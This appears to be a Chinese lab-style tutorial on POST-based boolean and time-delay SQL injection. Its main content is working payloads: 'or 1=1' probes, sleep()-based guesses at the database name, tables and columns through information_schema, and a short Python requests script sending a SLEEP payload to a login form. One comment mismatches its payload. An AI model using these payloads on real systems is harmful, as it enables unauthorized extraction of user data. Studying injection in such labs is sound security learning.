POST方式时间注入

POST 方式时间注入是一种 SQL 注入攻击方法,它利用了 Web 应用程序中对 POST 请求参数处理不当的漏洞。在这种攻击中,攻击者会构造特定的 POST 请求,其中包含恶意的时间相关数据,以达到绕过验证、执行非法操作或获取敏感信息的目的。

基于布尔型/时间延迟POST注入

使用hackbar

输入?id=1

输入?id=1'

输入?id=1"

无报错信息,由此可推断这是一道非报错型注入

在不知道用户情况下,POST型中要判断字符型注入,使用万能语句如:

1 or 1=1 -- #             1) or 1=1-- #            1)) or 1=1-- #

1' or 1=1 -- #            1') or 1=1-- #           1') or 1=1-- #

1" or 1=1 -- #           1") or 1=1-- #          1") or 1=1-- #

由此可知此题是布尔型注入

猜数据库

uname=1' or left(database(),1)>'a' -- #&passwd=1          返回正确

uname=1' or left(database(),1)>'s' -- #&passwd=1          返回错误

uname=1' or left(database(),1)='s' -- #&passwd=1          返回正确    

由此推断出数据库第一位为s.那么猜第二位:uname=1' or left(database(),2)>'sa' -- #&passwd=1

猜数据库长度

uname=1&passwd=1' or if(length(database())=8,1,sleep(5))-- #

1.猜数据库名(可以用 <  >  = 比较,对字符进行范围的判断,然后用二分法不断缩小范围)

uname=1&passwd=1' or If(ascii(substr(database(),1,1))=115,1,sleep(5))-- #

uname=1&passwd=1' or If(ascii(substr(database(),2,1))=101,1,sleep(5))-- #

……….

2.猜数据库中的表

猜测第一个数据表的第一位是 e,...依次类推,得到 emails

uname=1&passwd=1' or If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114,1,sleep(5))-- #

uname=1&passwd=1' or If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),2,1))=101,1,sleep(5))-- #

3.猜users表里的列

uname=1&passwd=1' or If(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))=105,1,sleep(5))-- #

以此类推得到数据库的内容

以下是一个使用 Python 编写的示例代码,演示了如何进行 POST 方式时间注入:

import requests

# 目标 URL
url = "http://example.com/login"

# 构造恶意的时间注入 payload
payload = "username=admin' AND SLEEP(5)-- "

data = {
    "username": payload,
    "password": "pass123"
}

# 发送 POST 请求
response = requests.post(url, data=data)

# 打印响应时间
print("Response time:", response.elapsed.total_seconds())

温馨提示:时间注入是非法的攻击行为,会对他人的系统和数据造成严重的损害,在实际开发中,请遵守法律法规和道德规范。

  • 19
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值